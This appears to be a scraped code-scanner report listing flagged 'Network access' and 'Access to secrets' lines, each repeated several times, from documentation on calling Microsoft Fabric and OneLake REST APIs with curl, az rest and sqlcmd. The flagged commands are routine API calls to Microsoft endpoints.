  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 454
    # Usage: fabric_lro POST "https://api.fabric.microsoft.com/v1/..." '{"body":"..."}'
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 458
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 459
    [Credential-related source omitted]
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 460
    --resource https://api.fabric.microsoft.com \
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 469
    local RESPONSE=$(curl "${CURL_ARGS[@]}")
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 483
    while true; do     sleep "$RETRY"     local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 484
    [Credential-related source omitted]
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 485
    local STATUS_JSON=$(curl -s "$OP_URL" \
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 504
    OneLake uses ADLS Gen2-compatible REST APIs. `az rest` is **not suitable** here because the audience is `https://storage.azure.com`, not the Fabric API. Use `curl` with a Storage-audience token.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 505
    here because the audience is `https://storage.azure.com`, not the Fabric API.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 508
    > **All OneLake curl calls require** `-H "x-ms-version: 2021-06-08"`.
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 511
    [Credential-related source omitted]
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Network accessline 512
    ONELAKE="https://onelake.dfs.fabric.microsoft.com"
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Access to secretsline 513
    [Credential-related source omitted]
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 522
    # Top-level listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 523
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=false" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 525
    # Subdirectory listing curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 526
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME?resource=filesystem&recursive=true&directory=Tables" "${AUTH[@]}" | jq .
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 532
    curl -s "$ONELAKE/$WS_NAME/$LH_NAME/Files/raw/data.csv" "${AUTH[@]}"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 544
    # Step 1: Create empty file resource curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 545
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?resource=file" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 547
    # Step 2: Append data curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 548
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=append&position=0" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 551
    # Step 3: Flush (finalize) curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 552
    curl -s -X PATCH "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH?action=flush&position=$FILE_SIZE" "${AUTH[@]}" \
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 559
    curl -s -X DELETE "$ONELAKE/$WS_NAME/$LH_NAME/$FILE_PATH" "${AUTH[@]}"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 565
    curl -s -X PUT "$ONELAKE/$WS_NAME/$LH_NAME/Files/new_folder?resource=directory" "${AUTH[@]}" -H "Content-Length: 0"
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 580
    - **Install**: `winget install sqlcmd` (Windows), `brew install sqlcmd` (macOS),   or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 581
    or download from https://aka.ms/go-sqlcmd
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 638
    # For a Warehouse: az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 639
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 640
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 641
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \
  • Network accessline 645
